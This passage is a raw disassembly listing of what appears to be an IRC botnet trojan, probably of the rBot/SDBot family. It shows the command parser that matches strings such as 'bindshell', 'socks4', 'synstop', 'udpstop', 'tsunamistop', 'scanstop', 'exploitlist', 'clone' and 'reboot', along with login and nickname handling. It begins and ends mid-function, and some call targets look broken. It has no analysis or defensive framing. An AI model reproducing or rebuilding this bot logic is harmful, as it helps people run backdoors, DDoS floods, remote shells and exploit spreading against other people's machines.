		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFD4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFB8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFB0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF98
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42CF5C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF18


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEF0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42CEB8
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE50 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D128 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE10 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D124 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D124 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD64


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD3C
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD20
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD04
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCF0
		push	offset dword_42CCE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCC4
		push	offset dword_42CCB4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CCA8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB44
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA88
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA68
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C9A4
		jnz	short loc_403192
		mov	eax, offset unk_42C97C


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aT	; "t"
